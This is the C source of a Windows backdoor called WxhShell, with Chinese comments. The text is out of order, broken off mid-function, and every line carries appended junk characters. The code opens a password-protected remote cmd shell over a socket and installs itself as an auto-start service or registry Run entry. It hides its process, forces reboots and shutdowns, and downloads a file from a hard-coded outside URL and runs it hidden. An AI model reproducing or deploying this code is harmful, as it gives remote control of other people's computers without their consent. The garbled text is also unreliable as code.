    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g@.$P>Bh  
    else { y.rN(  
    closesocket(wsh); h9vcN#22D  
    ExitThread(0); @:lM|2:  
    } [a=exK  
    break; iI3:<j l  
    } %opBJ   
  // 获取shell xoaO=7\io  
  case 's': { 5)[~ T2j!  
    CmdShell(wsh); f6Qr0Op  
    closesocket(wsh); i "8mrWb  
    ExitThread(0); [>=!$>>;8  
    break; _plK(g-1J%  
  } zLI0RI.Pe  
  // 退出 }z3j7I  
  case 'x': {  g'0CYY  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +#O+%!  
    CloseIt(wsh); >Vuvbo   
    break; VYvfx  
    } K_7pr~D]@r  
  // 离开 %y1!'R:ZW  
  case 'q': { jc^QWK*q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); t@q'm.:uw<  
    closesocket(wsh); +H)'(<  
    WSACleanup(); Q8p6n  
    exit(1); 7_0 p& 3  
    break; |)-kUu  
        } vOQ% f?%G\  
  } @Nu2 :~JO  
  } Z;BS@e  
|P|B"I<?  
  // 提示信息 ;b~ S/   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PwY/VGT  
} tFN >]`Z  
  } dzVi ~wt_&  
 @MW@mP)#  
  return; +-9vrEB  
} Q&9 yrx.  
P7x;G5'.  
// shell模块句柄 S-Uod y  
int CmdShell(SOCKET sock) @"@a70WHk  
{ .~z'm$s1o  
STARTUPINFO si; 9shf y4?k  
ZeroMemory(&si,sizeof(si)); gI+8J.AG=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TP }a9-9?  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fi+}hGj(r  
PROCESS_INFORMATION ProcessInfo; Nw;qJ58@  
char cmdline[]="cmd"; 0|3I^b  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8tY>%A~^z  
  return 0; 7& M-^Ev  
} SI(f&T(  
| ,8z" g  
// 自身启动模式 -<iP$,bq72  
int StartFromService(void) @[GV0*yz$  
{ e#Tv5O  
typedef struct +pofN-*%  
{ m]p{]6h  
  DWORD ExitStatus; Q*ITs!~Z  
  DWORD PebBaseAddress; ;>6< u.N  
  DWORD AffinityMask; wxN)d B  
  DWORD BasePriority; GES}o9?#  
  ULONG UniqueProcessId;  rxY|&!f  
  ULONG InheritedFromUniqueProcessId; }@DCcf$<  
}   PROCESS_BASIC_INFORMATION; ) SV.|  
j=\h|^gA  
PROCNTQSIP NtQueryInformationProcess; g \mE  
kA :Y^2X'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !_W:%t)g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O zAIz+`  
4kOO3[r  
  HANDLE             hProcess; MP]<m7669*  
  PROCESS_BASIC_INFORMATION pbi; yR}. Xq/  
n1[c\1   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); `L1,JE` q  
  if(NULL == hInst ) return 0; i'tMpS3  
K)Y& I  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sdp&D@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~.a"jYb7A}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ggso9ZlLu+  
WBe0^=x  
  if (!NtQueryInformationProcess) return 0; FO{=^I5YA  
ycA<l"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PKm|?kn{0(  
  if(!hProcess) return 0; $l.*;h*  
i~B?p[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8}/DD^M  
0G%9 @^B  
  CloseHandle(hProcess); HC`0Ni1  
5Xy(za  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >.:+|Br`  
if(hProcess==NULL) return 0; n@p]v*  
}{0}$#z u  
HMODULE hMod; F72#vS j  
char procName[255]; d^=BXC oC  
unsigned long cbNeeded; fN vQ.;  
RTtKf i}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8R~<$ xz  
l;8t%JV5  
  CloseHandle(hProcess); U,GSWMI/K  
VRo&1:  
if(strstr(procName,"services")) return 1; // 以服务启动 _,3ljf?WQM  
bG;fwgAr  
  return 0; // 注册表启动 -t-f&`S||  
} !-I,Dh-A  
DE13x *2  
// 主模块 q^X7x_  
int StartWxhshell(LPSTR lpCmdLine) w,|@e_|J  
{ ns[/M~_r  
  SOCKET wsl; 3:nhZN/95T  
BOOL val=TRUE; 0KA*6]h t  
  int port=0; mF~T?L"  
  struct sockaddr_in door; %h. zkocM  
_[:6.oNjIe  
  if(wscfg.ws_autoins) Install(); g)Z8WH$;H3  
}U]jy  
port=atoi(lpCmdLine); G?Et$r7:R  
`kKssU<  
if(port<=0) port=wscfg.ws_port; w\C1Bh!  
pwSgFc$z  
  WSADATA data; 7UTfafOGX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `IHP_IfR  
)Q2Ap&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t~2oEwTm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]:%DDlRb  
  door.sin_family = AF_INET; >a3m!`lq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q~`hn(S  
  door.sin_port = htons(port); Z[O hZ 9  
eqtZU\GI>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HcRw9,I'  
closesocket(wsl); dCx63rF`G  
return 1; FvT&nb{  
} &1 \/B  
0aT:Gy;  
  if(listen(wsl,2) == INVALID_SOCKET) { m:BzIcW<\  
closesocket(wsl); Y:*% [\R  
return 1; ~!uX"F8Xl  
} z']6C9m}  
  Wxhshell(wsl); +.cpZqWn3  
  WSACleanup(); }n)0}U5;0  
QE 4   
return 0; /*C!]Z>.  
UiU/p  
} XJul~"  
T!/o^0w  
// 以NT服务方式启动 xd?=#d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NKY|Z\  
{ i0M6;W1T  
DWORD   status = 0; Lf_Y4a#  
  DWORD   specificError = 0xfffffff; n%Oi~7>  
pl8b&bLzi  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~cU1 /CW8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M+"6VtZH  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #p+iwW-  
  serviceStatus.dwWin32ExitCode     = 0; 0 kJ8H!~u  
  serviceStatus.dwServiceSpecificExitCode = 0; Y e0,0Fpw  
  serviceStatus.dwCheckPoint       = 0; Mo/R+\u+Y  
  serviceStatus.dwWaitHint       = 0; PRfq_:xy  
_hnsH I!oD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #H$lBC WI  
  if (hServiceStatusHandle==0) return; ~EtGR # N  
v^A+LZ*d  
status = GetLastError(); T;M ;c. U  
  if (status!=NO_ERROR) iXWzIb}CJ-  
{ Om.%K>V  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]9!y3"..W{  
    serviceStatus.dwCheckPoint       = 0; SIK:0>yK"  
    serviceStatus.dwWaitHint       = 0; :'h$]p%  
    serviceStatus.dwWin32ExitCode     = status; pq*e0uW  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q#MB=:0 {  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4!sK>l!  
    return; {S0-y  
  } |bk9< i ?  
~[=<O s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; S1|5+PPs  
  serviceStatus.dwCheckPoint       = 0; 6R :hsC$  
  serviceStatus.dwWaitHint       = 0; w!lk&7Q7Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [kg^S`gc#  
} qV=:2m10x  
n bxY'`8F  
// 处理NT服务事件,比如:启动、停止 RvG=GJJ9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EPE_2a}  
{ j_C"O,WS  
switch(fdwControl) QN*|_H@h  
{ '2X$. ^aW  
case SERVICE_CONTROL_STOP: ^%!{qAp}Z  
  serviceStatus.dwWin32ExitCode = 0; )at:Xm<s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R*GBxJaw  
  serviceStatus.dwCheckPoint   = 0; ;R= n<=Axa  
  serviceStatus.dwWaitHint     = 0; re*Zs}(N\  
  { sOqFEvzo1%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yPE3Awh5  
  } U\%r33L )  
  return; kA=5Kc  
case SERVICE_CONTROL_PAUSE: kq| !{_  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HMVP71  
  break; yjT>bu]  
case SERVICE_CONTROL_CONTINUE: -1Tr!I:1  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AL":j6!OQ  
  break; ; gBR~W  
case SERVICE_CONTROL_INTERROGATE: &G2&OFAr]q  
  break; 4eWv).  
}; gWgp:;Me  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kyx9_2  
} fXWy9 #M  
F'MX9P  
// 标准应用程序主函数 :]:)c8!6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iw#~xel<ez  
{ !h1:AW_iz  
=%8 yEb*5#  
// 获取操作系统版本 [~Ky{:@)[  
OsIsNt=GetOsVer(); #^$_/Q#C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Oj-\  
?Uq"zq  
  // 从命令行安装 ;6@sC[  
  if(strpbrk(lpCmdLine,"iI")) Install(); HGAi2+&  
LqYyIbsvf  
  // 下载执行文件 Tdh(J",d  
if(wscfg.ws_downexe) { S ,F[74K  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) fTXip)n!r  
  WinExec(wscfg.ws_filenam,SW_HIDE); g}!{_z  
} \me5"ZU  
+TbAtkEF*  
if(!OsIsNt) { )l9KDObis  
// 如果时win9x,隐藏进程并且设置为注册表启动 U4 *u|A  
HideProc(); YE@yts  
StartWxhshell(lpCmdLine); XaCvBQ  
} jyD~ER}J  
else 7c"Csq/]I  
  if(StartFromService()) R'sNMWM  
  // 以服务方式启动 c:7V..   
  StartServiceCtrlDispatcher(DispatchTable); Dtd~}-_Q  
else =?$~=1SL+  
  // 普通方式启动 (Y'cxwj%  
  StartWxhshell(lpCmdLine); mrr]{K  
]I)ofXu]  
return 0; W,EIBgR(R5  
} Yuw:W:wY  
&|Wqzdo?#  
tN<X3$aN  
/=YNkw5   
=========================================== #czTX%+9(e  
A|LO!P,w  
L ~'98C  
w71YA#cg  
%|e)s_%XE  
-E1-(TS  
" d<d3j9u(#  
CNb(\]  
#include <stdio.h> "dP-e  
#include <string.h>  dwk%!%  
#include <windows.h> tC|?Kl7  
#include <winsock2.h> ]y.V#,6e  
#include <winsvc.h> (o*YGYC  
#include <urlmon.h> \dCGu~bT  
z'l HL  
#pragma comment (lib, "Ws2_32.lib") A:Wr5`FJ  
#pragma comment (lib, "urlmon.lib") _cvX$(Sg  
MrzD ah9UG  
#define MAX_USER   100 // 最大客户端连接数 <Q(E {c3"  
#define BUF_SOCK   200 // sock buffer Q>D//_TF  
#define KEY_BUFF   255 // 输入 buffer 8\68NG6o  
H?O5 "4a  
#define REBOOT     0   // 重启 _{c_z*rM8  
#define SHUTDOWN   1   // 关机 ?fH1?Z\'K  
O|sk "YXF  
#define DEF_PORT   5000 // 监听端口 O)`L( x  
KANR=G   
#define REG_LEN     16   // 注册表键长度 hlL$3.]  
#define SVC_LEN     80   // NT服务名长度  FkrXM!mJ  
.mfLHN%:  
// 从dll定义API 27 XM&ZrZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;4!H- qZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MlYm\x8{M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (1|wM+)"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `bBkPH}M  
\}4Y]xjV2  
// wxhshell配置信息 61Cc? a*_  
struct WSCFG { /i8OyRpSyk  
  int ws_port;         // 监听端口 b 9rQQS  
  char ws_passstr[REG_LEN]; // 口令 &V1d"";SZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no &(,\~  
  char ws_regname[REG_LEN]; // 注册表键名 4/~x+tdc  
  char ws_svcname[REG_LEN]; // 服务名 mH\zSk  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i#>t<g`l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 VOD-< "|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Awa| (]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  nBp6uNK[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" }0pp"[JU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /%g9g_rt#  
\_O#M   
}; 5H.~pc2y  
hy~[7:/<I&  
// default Wxhshell configuration xh:I]('R  
struct WSCFG wscfg={DEF_PORT, R/x3+_.f  
    "xuhuanlingzhe", h#Z[ "BG  
    1, {Vj&i.2,  
    "Wxhshell", w[d8#U   
    "Wxhshell", F/ZFO5C%  
            "WxhShell Service", |P]W#~Y-  
    "Wrsky Windows CmdShell Service", V K6D  
    "Please Input Your Password: ", we[+6Z6J  
  1, 0F-{YQr>  
  "http://www.wrsky.com/wxhshell.exe", =s":Mx,o  
  "Wxhshell.exe" rlR!Tc>  
    }; />mK.FT  
"'bl)^+?,  
// 消息定义模块 i<F7/p "-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MrB#=3pT  
char *msg_ws_prompt="\n\r? for help\n\r#>";  "x9yb0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .F8[;+  
char *msg_ws_ext="\n\rExit."; O Ol:  
char *msg_ws_end="\n\rQuit."; Lo'pNJH;$  
char *msg_ws_boot="\n\rReboot..."; ~D3 S01ecM  
char *msg_ws_poff="\n\rShutdown..."; VA[EY`8  
char *msg_ws_down="\n\rSave to "; )KE  
&*>.u8:r  
char *msg_ws_err="\n\rErr!"; :.ZWYze  
char *msg_ws_ok="\n\rOK!"; h"+7cc@  
V5(_7b#z``  
char ExeFile[MAX_PATH]; aGC3&c[Wx  
int nUser = 0; rs?Dn6:;B  
HANDLE handles[MAX_USER]; JrOx nxd^  
int OsIsNt; j yD3Sa3  
z.8nYL5^}  
SERVICE_STATUS       serviceStatus; WGn=3(4  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $,@}%NlHc  
N-QS/*C.~  
// 函数声明 Qpv#&nfUi6  
int Install(void); k5E2{&wZ  
int Uninstall(void); 3bWGWI  
int DownloadFile(char *sURL, SOCKET wsh); cZ_)'0  
int Boot(int flag); 7ivo Q  
void HideProc(void); ^%,{R},s  
int GetOsVer(void); YA$YT8iMe  
int Wxhshell(SOCKET wsl); rb-ao\  
void TalkWithClient(void *cs); y#B=9Ri=z  
int CmdShell(SOCKET sock); ,:PMS8pS  
int StartFromService(void); @ &N  
int StartWxhshell(LPSTR lpCmdLine); P6.PjK!Ar  
9oJM?&i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s0dP3tz>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nC p/.]Y*  
k!x|oC0  
// 数据结构和表定义 =KHb0d |.  
SERVICE_TABLE_ENTRY DispatchTable[] = QUW`Yc  
{ boEQI=!j\+  
{wscfg.ws_svcname, NTServiceMain}, =F$?`q`  
{NULL, NULL} pgES)  
}; Uo >aQk  
(0.oE%B",1  
// 自我安装 pL1ABvBB  
int Install(void) Rb:H3zh  
{ Q&:)D7m\)S  
  char svExeFile[MAX_PATH]; rQ{|0+l  
  HKEY key; c ^ds|7i]a  
  strcpy(svExeFile,ExeFile); C zJ-tEO  
jKmjZz8L]%  
// 如果是win9x系统,修改注册表设为自启动 # &.syD#  
if(!OsIsNt) { /al56n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { FTCIfW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <VhmtT%7  
  RegCloseKey(key); ^(^P#EEG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m@XX2l9:9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Hi={(Z5tC4  
  RegCloseKey(key); ]]:K l  
  return 0; uX_#NP/2  
    } g@^y$wt  
  } U!q2bF<@  
} yS~Y"#F!.  
else { UUDUd a  
+@?Q"B5u}  
// 如果是NT以上系统,安装为系统服务 \JM6zR^Ef  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m8F$h-  
if (schSCManager!=0) [T_[QU:A  
{ aeUgr !  
  SC_HANDLE schService = CreateService jdG2u p  
  ( HSNj  
  schSCManager, G,!jP2S  
  wscfg.ws_svcname, ^slIR!L  
  wscfg.ws_svcdisp, Dst;sLr[,  
  SERVICE_ALL_ACCESS, s`=| D'G(=  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9f0`HvHC  
  SERVICE_AUTO_START, y[$UeE"0  
  SERVICE_ERROR_NORMAL, 3R< r[3WP  
  svExeFile, w3,KqF  
  NULL, )1Bz0:  
  NULL, C`[2B0  
  NULL, >KuNHuHu  
  NULL, m+'1c}n^7  
  NULL -lJ|x>PG'  
  ); A^,u l>!  
  if (schService!=0) ,JdBVt  
  { HD KF>S_S  
  CloseServiceHandle(schService); EM@|^47$  
  CloseServiceHandle(schSCManager); 0bh 6ay4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); THq}>QI  
  strcat(svExeFile,wscfg.ws_svcname); -Ct+W;2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |_p7vl"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); T3oFgzoO  
  RegCloseKey(key); :epBd3f  
  return 0; A x8>  
    } YaS!YrpI  
  } Q.$8>)  
  CloseServiceHandle(schSCManager); #d %v=.1  
} OE(y$+L3_I  
} ?VotIruR  
/E<Q_/'Z  
return 1; F'[Y.tA ,#  
} LAc60^t1  
u_WUJ_  
// 自我卸载 E|;>!MMA;  
int Uninstall(void) Fxa{ 9'99  
{ ,|RKM  
  HKEY key; JvXuN~fI{[  
NE#`ZUr3  
if(!OsIsNt) { WVyDE1K <  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uB"B{:Kz  
  RegDeleteValue(key,wscfg.ws_regname); 1;~s NSTo  
  RegCloseKey(key); W^3 Jg2gE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &I-:=ir  
  RegDeleteValue(key,wscfg.ws_regname); q0%QMut%  
  RegCloseKey(key); T^^7@\vDI  
  return 0; =M?+KbTJ3  
  } bMc[0  
} Z#u{th  
} 4Mg%}/cC  
else { w%`S>+kX&  
spP[S"gI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); | t:UpP  
if (schSCManager!=0) $&.(7F^D  
{ 3_wR2AU~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g0B-<>E  
  if (schService!=0) tb?TPd-OY  
  { vUbgSI  
  if(DeleteService(schService)!=0) { SN"Y@y)=  
  CloseServiceHandle(schService); D,..gsg  
  CloseServiceHandle(schSCManager); ^/?7hbr  
  return 0; 8zMGpY#  
  } rEp\ld  
  CloseServiceHandle(schService); R(0[bMr3Q  
  } *P\lzM  
  CloseServiceHandle(schSCManager); mQVlE__ub  
} ,1 H|{<  
} 1ik.|T<f0  
/ :.I&^>P  
return 1; ;rL>{UhG  
} 2|?U%YrHWs  
c86?-u')  
// 从指定url下载文件 }f;TG:6  
int DownloadFile(char *sURL, SOCKET wsh) 1:<n(?5JI  
{ p}==aNZK  
  HRESULT hr; lGahwn:  
char seps[]= "/"; O6$,J1 2l  
char *token; vxf09v{-  
char *file; u `ww  
char myURL[MAX_PATH]; #@YKNS[  
char myFILE[MAX_PATH]; Ge=6l0  
5I[:.o0  
strcpy(myURL,sURL); }#.OJub  
  token=strtok(myURL,seps); MjQ>& fUK  
  while(token!=NULL) 6miXaAA8  
  { D@X"1X!F`G  
    file=token; ;C=d( pY  
  token=strtok(NULL,seps); -}xK> ["  
  } mW)kWuOO  
Z/ml ,4e  
GetCurrentDirectory(MAX_PATH,myFILE); u)EtEl7Wq  
strcat(myFILE, "\\"); 5/6Jq  
strcat(myFILE, file); vt"bB  
  send(wsh,myFILE,strlen(myFILE),0); bO$KV"*!  
send(wsh,"...",3,0); b"o\-iUioe  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I3.JAoB>!  
  if(hr==S_OK) _0 4 3,  
return 0; a'HHUii=  
else <~ay4JY  
return 1; /AX)n:,  
`yl|N L  
} eCJtNPd  
EpACd8Fb  
// 系统电源模块 $[HCetaqV  
int Boot(int flag) w$s6NBF7  
{ gZ>&cju  
  HANDLE hToken; kn$SG  
  TOKEN_PRIVILEGES tkp; Ot=nKdP}D  
1M)88&  
  if(OsIsNt) { )X*_oH=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); f[NxqNn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (i{ZxWW&  
    tkp.PrivilegeCount = 1; WUYU\J&q3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rUV'DC?eE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3r^||(_u  
if(flag==REBOOT) { ' "%hX&]5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +#>nOn(B  
  return 0; 6Yva4Lv  
} 6C"${}S F`  
else { \{*`-P v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g|^U?|;p  
  return 0; TRgj`FG  
} ;x_T*} CH  
  } to_dNJbv  
  else { FN26f*/  
if(flag==REBOOT) { :zIB3nT^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JC$_Pg!  
  return 0; g]MgT-C|  
} (:H4  
else { M?sTz@tqq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .pxUO3g  
  return 0; V@G|2ZI  
} Ug#B( }/  
} =mwAbh)[7n  
P"Q6wdm  
return 1; dZkKAK:v  
} +sZY0(|K8  
FD~uUZTM  
// win9x进程隐藏模块 ze8MFz'm  
void HideProc(void) 'g<FL`iP  
{ @Z""|H"0  
g( "[wqgG  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ER!s  
  if ( hKernel != NULL ) jX$U)O  
  { 2S@Cj{R(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); nYC S %\"  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ?: vB_@  
    FreeLibrary(hKernel); {^:i}4ZRl  
  } ^5!"[RB\  
W^,p2  
return; 4e[ 0.2?  
} _w <6o<@  
w2!5TKZ`  
// 获取操作系统版本 =td(}3|D Y  
int GetOsVer(void) 8v^AVg  
{ N#Nc{WU 'B  
  OSVERSIONINFO winfo; >A L^y( G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j=Q ?d]  
  GetVersionEx(&winfo); h=au`o&CG  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SrdCLT8  
  return 1; F&+_z&n)  
  else SrWmV@"y  
  return 0; |M?VmG/6  
} m aQDD*  
rc{F17~vX  
// 客户端句柄模块 ]K5j(1EN  
int Wxhshell(SOCKET wsl) 68qCY  
{ V22Br#+  
  SOCKET wsh; f0{ tBD!%  
  struct sockaddr_in client; bC&xN@4  
  DWORD myID; d$MewDW UN  
\rbvlO?}  
  while(nUser<MAX_USER) i#U_g:~wC  
{ 9M[   
  int nSize=sizeof(client); ` gor  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); bHs},i6  
  if(wsh==INVALID_SOCKET) return 1; :G<~x8]k0  
gHvkr?Cg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wD pL9q  
if(handles[nUser]==0) XPi5E"  
  closesocket(wsh); NQbgk+&wD  
else kkT=g^D9j  
  nUser++; h&Q-QU  
  } srU*1jD)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); :?3y)*J!  
~05(92bK  
  return 0; 8\`otJY  
} OBM&N  
cbx( L8  
// 关闭 socket `C*psS  
void CloseIt(SOCKET wsh) ARB^]  
{ 3=lQZi<]%  
closesocket(wsh); cn$0^7?  
nUser--; p!LaR.8]  
ExitThread(0); 'yAHB* rQR  
} a/q8vP  
v`"BXSmp{  
// 客户端请求句柄 u9}LvQh_6,  
void TalkWithClient(void *cs) #|cr\\2*  
{ G'_5UP!  
s(Fxi|v;  
  SOCKET wsh=(SOCKET)cs; S#ud<=@!9  
  char pwd[SVC_LEN]; 1 u~.^O}J  
  char cmd[KEY_BUFF]; {*qz<U >  
char chr[1]; HqA~q  
int i,j; BMbZ34^e  
W^9=z~-h  
  while (nUser < MAX_USER) { HO8x:2m  
kkV* #IZ  
if(wscfg.ws_passstr) { Z9I ?j1K|!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .|J-(J<>[.  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vau#?U".}>  
  //ZeroMemory(pwd,KEY_BUFF); 4g/Ly8  
      i=0; p@=B\A]  
  while(i<SVC_LEN) { 3)~z~p7  
FPuF1@K  
  // 设置超时 j2!^iGS}  
  fd_set FdRead; V34]5  
  struct timeval TimeOut; EDGAaN*Q  
  FD_ZERO(&FdRead); p~t5PU*(  
  FD_SET(wsh,&FdRead); +JBYGYN&K  
  TimeOut.tv_sec=8; b@N*W]  
  TimeOut.tv_usec=0; + gP 4MP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F='rGQK!1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }mQh^  
*| YR8f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C@FX[:l@-  
  pwd=chr[0]; @arMg2"o  
  if(chr[0]==0xd || chr[0]==0xa) { [YQ` `  
  pwd=0; sJcwN.s  
  break; [- x]%  
  } x;>~;vmi  
  i++; h<f]hJ`ep  
    } U3ao:2zP  
UYOR@x #  
  // 如果是非法用户,关闭 socket lJXihr  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <nT).S>+  
} \_zp4Xb2  
! ^U!T\qDi  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]g0\3A  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h*X u/aOg  
gK"E4{y_@  
while(1) { 9iQc\@eGd  
rXg#_c5j  
  ZeroMemory(cmd,KEY_BUFF); -D30(g{O  
NYN(2J  
      // 自动支持客户端 telnet标准   UkXf)  
  j=0; /M8&`  
  while(j<KEY_BUFF) { oSqkAAGz\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 79Si^n1\  
  cmd[j]=chr[0]; tm280  
  if(chr[0]==0xa || chr[0]==0xd) { `!iVMTp  
  cmd[j]=0; d+:pZ  
  break; dWAKIBe  
  } "G @(AE(  
  j++; x3?:"D2  
    } !8i[.EAT  
Ax;i;<md  
  // 下载文件 -_|U"C$  
  if(strstr(cmd,"http://")) { FrBJv<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8g CQ0w<  
  if(DownloadFile(cmd,wsh)) |LNAd:0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?rq%rQd  
  else jI9Kn41  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Q:~>$5Em5  
  } hJ1:#%Qe.  
  else { XN1\!CM8  
.TTXg,8#D  
